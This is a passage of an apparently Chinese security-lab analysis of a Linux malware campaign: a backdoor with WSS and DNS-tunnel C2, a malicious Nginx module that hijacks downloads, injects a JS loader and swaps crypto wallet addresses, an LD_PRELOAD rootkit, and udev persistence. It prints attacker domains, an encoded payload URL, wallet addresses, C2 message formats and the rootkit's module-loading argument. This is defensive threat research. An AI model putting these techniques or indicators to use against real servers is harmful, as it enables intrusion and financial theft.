src="https://wechat2rss.xlab.app/img-proxy/?k=46e45d21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xnzTubG8KgfSQLGSldmtzm6ia5H1RrnicdsfpMfiaNjkVO3IlNyq13oWWu4aqfe6yMSsjkVUJG1iaVibYHQL4ptMRibE8Bun0JMEmTE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">③ 时间窗口校验</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Client通过 time_for_connect 函数来决定是否允许在当下时间执行。其机制是从配置数据的固定偏移量（小时列表起始于0x210字节，分钟列表起始于0x270字节）读取时间白名单，并与当前系统时间进行匹配。不过，根据解密后的配置显示，该策略当前设置为全天候允许，即小时（0-23）和分钟（0-59）均无限制。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5691318327974276" data-s="300,640" data-type="png" data-w="933" type="block" data-imgfileid="100000827" src="https://wechat2rss.xlab.app/img-proxy/?k=8370147c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xp9wWG2nicVCGuicIYKeNNsnrgOK0ykIhneUnlubHhnNMMEkjq8S1FHbdRR2kL99I6fgWeTvD6ek6GYasW4WfIHPmANjJsgvd1M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">④ 网络通信</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Client在通信层面采用 “WSS 优先、DNS Tunnel 兜底” 的双通道策略，并通过精细的时间控制与失败计数机制，在保证 C2 可达性的同时，尽量维持与正常网络流量一致的行为特征。当高隐蔽性的 WSS 通信受阻时，样本会在限定时间内切换至 DNS Tunnel，以维持控制通道的连续性，随后再自动回退至主通信方式。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">对通信数据的逆向分析表明，WSS 通道内的应用层数据遵循“压缩 → 加密”的处理流程，具体为 zlib 压缩 + AES-128-CBC 加密。AES 密钥从配置结构偏移 0x360 处读取（16 字节），对应的 IV 位于 0x370 偏移处（16 字节）。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.328042328042328" data-s="300,640" data-type="png" data-w="945" type="block" data-imgfileid="100000834" src="https://wechat2rss.xlab.app/img-proxy/?k=c8eec217&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xfHbJBE4haBKgZK21qdR9LQzgQHVEibATA3EgL6x4ian8PqFbYFrhRbQricjCe34MaXfem7xbPD3x5eIZzOd8yKCr7mMrT8NOiaibc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">而 DNS Tunnel 的实现基于开源工具 iodine。iodine 是一种隧道工具，通过将 IPv4 数据封装并传输于 DNS 请求与响应中，从而在常规互联网访问被防火墙限制、但仍允许 DNS 查询的网络环境下建立通信通道。与 iodine 相关的运行参数存储于样本配置数据偏移 0x3E5 处，其中可解析出使用的 Name Server 为 8.8.8.8，对应的 Top Domain 为 nsj6.linuxdistro.net。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000841" data-ratio="0.4328824141519251" data-s="300,640" type="block" data-type="png" data-w="961" src="https://wechat2rss.xlab.app/img-proxy/?k=3add9f26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zRO30bdRt7jrKTcGDos1TYtibEW2DFwjmicpQdGPZ2SgjL3KWrEJd3cbibbonwg671CHeCwYXibKr1Nk8Ztu8VIPBytT7QStdMk2k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Client 在接收到来自 C2 的响应数据后，首先对数据进行 AES 解密，随后执行 zlib 解压，最终将解析后的明文数据传递至 kernel_on_message 函数，并根据不同的指令号执行相应的功能逻辑。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.7097315436241611" data-s="300,640" data-type="png" data-w="596" type="block" data-imgfileid="100000846" src="https://wechat2rss.xlab.app/img-proxy/?k=060700ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wV0XlhAbj72ibNsDFmHXbMJ891YRbtTgJUUVzpE57lwAcydom2uoE9cU4PLPrb4xBKhxFmHiapvrP6hE1xnVupPUUCzUvRxGrvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">接下来以虚拟机产生的实际流量来说明Client网络通信的报文格式，wss的流量经中间人劫持后如下所示：</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6108422071636012" data-s="300,640" data-type="png" data-w="1033" type="block" data-imgfileid="100000843" src="https://wechat2rss.xlab.app/img-proxy/?k=74503a30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xZz9eMpjU5DNOlwGibtMEnwFTnRGBialZ8jazXSqjUibib5cQ0eXrmuZwbx1laIBQfZ9wUR9KgxrLS42CqEVepAVMjAgN0YA1RDqw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">先看C2向Client下发的第一条指令，使用AES CBC解密，再解压，即可得到明文01 01 00 00 00 00 04 00 00 00 01 00 00 00。Client的网络报文遵循 “1字节 flag + 4字节 cmd count + 1字节 type +4 字节的 cmd1 length + 4 字节 cmd1” 这一格式，明文指令解析可知，这是0x00000001指令，即要求上报设备信息。对解密流程感兴趣的读者，可以参考原文附录中的CyberChef。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000867" data-ratio="0.618995633187773" data-s="300,640" type="block" data-type="png" data-w="916" src="https://wechat2rss.xlab.app/img-proxy/?k=fd389bab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wXWDAqibkg77Jxm9a4AqwjBxI56wiaubXHvrAy1ggMHlsbQFgcWoTmVNflKna8wse7S8hbPZiaQ1z1EusaspDmCjgZjSzlicTK5g8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">读者如果尝试用我们提供的CyberChef去解密C2下发的第二条指令，会发现解密失败。原因是不同于一般的AES CBC模式，Badredis2s使用是所谓的AES-CBC with chained IV，即每条消息的IV是前一条消息的最后一个密文块。因此要想解密第二条指令，IV需要设置为第一指令的最后16字节 87 3d 0d 46 1c 94 9d 46 26 55 5c 2a 9a 72 1c aa。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4935185185185185" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000847" src="https://wechat2rss.xlab.app/img-proxy/?k=64f83257&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xQEiblPhp9v3ian89TyGia41dQjnf0yvpSKzJyPTPbj7UykbgjnblNZhiaibMqKYQVmnG3l9QQyXngR8FhM44NUG6E5ibC3UiaD36zEA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">最后看一下Plugin，Badredis2s中0x12指令和插件操作相关。我们在指令跟踪系统中实现了Badredis2s的网络协议后，成功跟踪到0x12号指令，捕获shell, filemanager俩个插件。每个插件都有自己专属的Request-URI：shell使用的是/index/sl.html；filemanager使用的是/index/fm.html。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.33611111111111114" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100000848" src="https://wechat2rss.xlab.app/img-proxy/?k=3178e637&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8zWbxHfD52T7ByrS8vBY3icacFI75GsibVJN9cxnxs9qAc5xUZoQUr1QgVZb27pAcpxyCkYOoibMMCiaCxYj7IKQLnKFBoXuw0uQxE%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">在分析filemanager插件时，又发现了以下3个新插件。稍加观察，不难发现插件名与路径存在一定的关联，我们尝试对路径进行爆破，确实发现了一个新的URI /index/ao.html，可惜没能反推出它代表的插件名，未能捕获该插件。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6195899772209568" data-s="300,640" data-type="png" data-w="439" type="block" data-imgfileid="100000852" src="https://wechat2rss.xlab.app/img-proxy/?k=58565206&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ywBHeeD5pUrGw0QPXQdVcutARnsMFB7TBFRm6riaGIztbUyIG7xibn804bYY9ZDtuJ9wascfegozZYXxVpFd8zE6xGcS1ciap94w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">关于插件的功能，其名称本身便已体现核心用途：例如 shell 用于执行 Shell 命令，filemanager 负责文件管理。这种插件体系显著增强了 Badredis2s 的灵活性，攻击者只需下发不同功能的插件，即可轻松实现各类复杂任务。由于这些插件均未经过代码混淆或去符号处理，分析起来并无太大难度，对实现细节感兴趣的读者可自行深入研究，本文不再展开论述。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7396648044692737" data-s="300,640" data-type="png" data-w="895" type="block" data-imgfileid="100000850" src="https://wechat2rss.xlab.app/img-proxy/?k=62c457b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xrVh9Nbg8Fjeria8VpibhrCQIGg3WXQ5Gg8DKiaRyyE4LicnRf7Gib5NbbtIuYUgUmyiaPSAX80mooJx9JwtLHN77IjVGIehIcricN4M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">0x4: module.so</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">module.so是一个恶意的Nginx过滤模块，我们将它命名为Badnginx2s。Badnginx2s是一种较为罕见的针对Nginx后门木马，其本质是一个Nginx模块，它通过在Web服务器层面植入恶意过滤器，对流出流量进行深度篡改与攻击，主要功能包括：</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">远程命令执行：后门预留了隐蔽的命令通道，允许远程命令执行</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">下载劫持：当用户从受感染网站下载特定类型的文件时，木马会暗中替换下载链接</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">代码注入：向网页注入恶意JavaScript代码，将访问用户重定向至博彩、色情等不良网站，非法获取流量或实施进一步诈骗。</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">视频插播：向M3U8播放列表文件插入时长为5秒的恶意媒体片段条目，用于流媒体内容劫持或广告注入</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">数字资产窃取：攻击者以将自己的收款地址替换网页中的数字货币钱包地址，从而在用户转账时直接截留资金，构成隐蔽的金融盗窃。</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Badnginx2s通过注册俩个HTTP过滤器函数：ngx_http_hello_header_filter，ngx_http_hello_body_filter实现上述功能。其中header_filter负责处理 HTTP 响应头阶段，主要完成远程命令执行、策略更新、下载劫持、以及标记需要注入恶意代码的特定网页等核心控制任务；body_filter负责处理 HTTP 响应体阶段，主要用于向页面注入恶意 JavaScript 代码，以及实现钱包地址篡改等客户端侧攻击行为。这种设计使得 Badnginx2s 能够在响应生成的不同阶段灵活执行隐蔽且精准的恶意操作，既能实现服务器端的远程控制，又能完成客户端侧的窃取与欺诈。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">① 远程命令执行</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">攻击者将远程命令隐藏在HTTP请求头的Cookie字段中，以此实现隐蔽通信。其中，comm字段存储加密后的命令，其原始格式为“时间戳$$指令”，例如1768813387$$whoami，该内容先经过密钥0x5A的XOR异或加密，再经Base64编码后传输；sign字段则存储base64编码后的基于P-256椭圆曲线生成的数字签名，Badnginx2s通过公钥校验签名的有效性，确保指令的完整性与来源可信。这种机制使攻击者能够在看似正常的HTTP请求中隐蔽执行远程命令。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5685185185185185" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000853" src="https://wechat2rss.xlab.app/img-proxy/?k=5180b07d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wUSwGBVVNVyyGyib0LibGBA81dIibDIgC0RzWWbA8ic40f6gaQuVv1AH4bXuQQ1vpvWv2daG71ruPD2Ng8VFLTpSjJZWF0iauAOPia4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">② 策略操纵</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Badnginx2s 在运行时动态生成劫持配置，包含重定向域名、恶意 JS 载荷地址、白名单网段等策略。为实现对配置的远程实时调控，攻击者通过 Cookie 建立隐蔽管理通道：配置操作指令经加密后存放在 conf 字段，其加密方式与上文 comm 字段相同（XOR+Base64）；数字签名则存放于 sign 字段，仍采用 P-256 椭圆曲线算法进行校验。通过该机制，攻击者可远程隐蔽执行配置的查询和更新，从而灵活实施精准攻击。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">以查询当前配置为例，原始命令为get$$，它经上述加密流程处理后，构成Cookie中的conf字段；服务器收到这个请求后，当sign字段中的签名通过校验，就返回当前的配置。攻击者可通过这种方式动态的调整重定向域名，恶意JS载荷地址等内容。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5537037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000854" src="https://wechat2rss.xlab.app/img-proxy/?k=d3dab8fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xTibImbxiakus2HH9orcMwIkZVZicM3Khjoe8eePRAZp0z2RCLjGZ6oOGA3FNBoDuicS7Ewj1g4N5xhKn6iax2dHArRX1RgrLthrA0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">③ 下载劫持</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">当网络请求 APK、PLIST 或 MOBILECONFIG 这三种特定资源时，Badnginx2s 会实施下载劫持。它通过 <a href="https://%s.aqyaqua.com" target="_blank">https://%s.aqyaqua.com</a> 这一格式动态构造域名，并返回对应的恶意载荷。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000855" data-ratio="0.18796296296296297" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c9f5929f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8zIOdh8pia04oic6NKP7fjQ2d4OZQEZNOcW4n7DEiaY4zicSnYquoNtToibZAXesZBTfyt1IKfXD99Cj9fhs1eGIiclJNvJuXGH0RgoQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">值得注意的是，aqyaqua.com 本身仅作为一个流量入口，会将不同资源类型的请求转发至不同的目标地址。目前，只有针对 APK 的载荷处于有效状态。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5362663495838288" data-s="300,640" data-type="png" data-w="841" type="block" data-imgfileid="100000856" src="https://wechat2rss.xlab.app/img-proxy/?k=ce6e5482&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wuAibRnlYRrSOTeWuzvHI7M2dPlm9xiaetbIiaINlt57RmR22qnicIA5SmgTv3hQz0ibfPKyb3mbicB0E1kGSG8IMRzQabPG4lmHgbo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">④ 页面篡改</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Badnginx2s通过ngx_http_hello_body_filter函数实现在网页的篡改，涵盖了数字钱包替换，视频插播，恶意JS注入。</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">数字钱包替换</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">当网页内容中出现以太坊或波场钱包地址时，将其替换为指定的攻击者地址：例如，将以太坊地址替换为 0xAA3Bd92445a2E1fE38C7693d77259BeD42a144c3，或将波场地址替换为 TCMCY9ccNmQGfUNHTNtCByCof3VdQnip2b。如此一来就在用户完全无感知的情况下实现了对交易的窃取，用户以为的正常转账，却在“神不知鬼不觉”中流入了攻击者的口袋。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.07685185185185185" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000857" src="https://wechat2rss.xlab.app/img-proxy/?k=0b7e89eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wrxibVKh6Haicpw8Y7icu7ODUVVHXY4TJOyxLA2ZAia1cJEHTZLRIiaRnicPSiadYHWDMR0OotBv5v7WrUrdw0XEgYT683Ix1jEhdqpI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">视频插播</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">当网页和HLS直播流相关时，攻击者可篡改M3U8播放列表文件，插入自定义视频流。我们目前已捕获到一次此类攻击行为，攻击者插入了一个时长5秒、名为广告_1.ts的视频流片段。该攻击表面看似仅为广告插播，但其潜在危害远不止于此——攻击者可轻易将插入内容替换为色情、暴力等不良信息，甚至利用目前高度逼真的AI生成技术，伪造政治宣传、虚假新闻或引导性极强的深度伪造视频。这类攻击不仅破坏用户体验，更可能被用于意识形态渗透、社会舆论操纵与公共秩序干扰，属于具备高扩散性、强误导性与社会危害性的新型网络攻击载体。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.337037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000858" src="https://wechat2rss.xlab.app/img-proxy/?k=0aa3cbff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8z7yxp5ITI9AOFXUhmPoTbJHegT05lWDfT8cp2dqKjb19N0yibH2IaWla65nMuKL201OPH7libD4BianMvSZ6U7kelE8Mgx3vJwJ8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">恶意JS注入</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">当网页为html类型时，按优先级顺序搜索&lt;head&gt;，&lt;/title&gt;，&lt;html&gt;，&lt;meta，&lt;script等标签，选择第一个匹配的位置注入恶意JavaScript代码。恶意js代码有一个固定的模板，想必读者已经非常熟悉了，它和一个Base64字串拼接后，正是前文分析过的JS LOADER。样本中硬编码的Base64字串为aHR0cHM6Ly9jZG5qcy5qc2RjbGl2ci5jb20vbnBtL2Jvb3RzdHJhcEA1LjMuMC9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcz92PTMuNy44LjI=，解码后对应URL为<a href="https://cdnjs[.]jsdclivr[.]com/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.8.2。" target="_blank">https://cdnjs[.]jsdclivr[.]com/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.8.2。</a></span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.28425925925925927" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000859" src="https://wechat2rss.xlab.app/img-proxy/?k=f8b4295c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yX3NY8Md5TFDia3POyM3jpibtnbnUfdH9aKNQTr3ibTcgKe2HkwG2NsBKJxbHUfMv1zxlibFSayicsTjCcXiagtHGny0d5q7wUhpDibs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">0x5: libutilkeybd.so</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">libutilkeybd.so是一个基于LD_PRELOAD技术的用户态Rootkit，我们将它命名为Badhide2s，它的核心目标分为两方面：载荷痕迹隐匿于Nginx模块动态植入。</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">隐匿维度</span><span textstyle="" style="font-size: 18px;">：通过写入/etc/ld.so.preload使自身被加载，实现对ss、netstat、top、htop、ps、ls、lsof等常用工具的过滤，覆盖文件、进程、网络三大维度的痕迹隐藏。此类用户态Rootkit手法在Linux恶意软件中较为常见，Badhide2s并未实现显著的技术创新，但其隐匿的IP地址数量达25个，规模相对较大。</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">模块植入</span><span textstyle="" style="font-size: 18px;">：通过Hook __libc_start_main——GNU C库的程序入口函数——在进程启动阶段进行检测。当识别到目标进程为Nginx时，动态篡改其启动参数，追加 -g load_module /var/adm/{hash}nginx/module.so ，从而实现恶意模块的隐蔽加载。</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25092592592592594" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000860" src="https://wechat2rss.xlab.app/img-proxy/?k=c0e6ab60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wNkiatL1Lc6kFBZvm7uXTs6MgM4pgzTL4uHGEuQgSunlJzlJTIsQektGZ56LAfaJ1wFdl7PG4qtRJrIuFoxic2ia4FkO12YH17Zk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">值得注意的是，Badhide2s 内置了一个环境变量触发开关机制：当检测到系统中存在环境变量 RING04，且其值为特定哈希串时，该恶意软件的所有隐藏功能将自动关闭。这实际上为应急响应提供了一个快速排查入口，防御方在获取哈希值后，只需执行：export RING04H={hash}即可一键解除所有隐匿，使被隐藏的恶意进程、文件及网络连接完全“显形”。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">0x6: udev rule &amp; script</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">利用udev规则实现持久化，在Linux 威胁中并不常见，目前公开的案例只有俩个：sedexp以及UNC3886。所谓 udev ，指的是 Linux 内核的设备管理系统，负责动态管理 /dev 目录下的设备节点文件，包括创建设备节点、处理热插拔事件以及按需加载驱动程序。udev 规则是其配置文件，用于匹配设备事件（如接入或移除设备）并触发相应操作，它们通常位于 /etc/udev/rules.d/ 或 /lib/udev/rules.d/ 目录下，典型的规则如下所示，由设备匹配条件和对应的执行动作组成。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">ACTION</span>==<span class="code-snippet__string">&#34;add&#34;</span>, KERNEL==<span class="code-snippet__string">&#34;device&#34;</span>, RUN+=<span class="code-snippet__string">&#34;/path/to/script&#34;</span></span></code></pre></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">此次活动会在/etc/udev/ruldes.d目录下增加一个99-{hash}.rules的规则，当任意非本地回环的网络接口（包括物理网卡、虚拟接口）被系统识别时（add 事件），该规则会立即被触发，通过 systemd-run 启动一个受控的临时服务，隐蔽执行指定的脚本/var/adm/{hash}/udev/udev.sh 。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6361111111111111" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100000861" src="https://wechat2rss.xlab.app/img-proxy/?k=bbc93d3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8x0ic0Nq3KHfA5icicmRSWo6ZvcWoQ1GRpvDr4fdk8syRia1ex2AknlKz9ISXGEv0It6dnbAfiabNO0Fs6yaZ4qWNVbpZxuLIBkDshk%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">udev.sh脚本就是没有什么特别之处，只是用来启动前文分析过的Badredis2s后门（ring04h_office_bin），以及一个未知的组件（ring04h_agent_bin）。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.26851851851851855" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100000862" src="https://wechat2rss.xlab.app/img-proxy/?k=84e6b333&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8xgw7p3bE5a4TDKEveg7YiafJFUFC2Z1icLr7gpVt0O2L2fPia8Tib2T8QIKXE2ZtDbAgf8KiaL8oWtQJOmI8jx7QvoFaQNWku3Sxag%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">额外的情报</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">在download_init中，有一个main_pre的函数，用于清除的痕迹，从函数逻辑来看，这些痕迹与RingH23强相关。在清理目标的数组中包含17个不同的字串，令人惊奇的是其中一些字串，如libcext.so.2，/var/log/cross/auto-colar等明显和Palo Alto Networks 于2025年2月24日披露的autocolor后门相关。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000863" data-ratio="0.6689254598257502" data-s="300,640" type="block" data-type="jpeg" data-w="1033" src="https://wechat2rss.xlab.app/img-proxy/?k=f509f3b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8yU0PNbxQwUpVaszN4MuDkULkDeicCjtxAzEuLWblXztuFbRw0XETZrwHb1qDcu0hkMQNpzVbH2bQdM9vmcLAPiboic2XMhdESnnU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">此外，我们发现 /var/log/jroqq 是一个非常独特的字符串，并以此为线索，找到了一个用 Golang 语言实现的后门文件 auto-color。该后门通过文件锁 /var/log/jroqq/auto.l 实现单一实例运行，但后门本身并未包含创建该文件的代码，说明它需要与其他组件协同工作，我们内部将其命名为 V2deck。它的主要功能是执行C2下发的命令并回传结果。样本中一共内嵌了10个C2，使用 XOR + BASE64的方式进行保护，xor key为 poop。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img 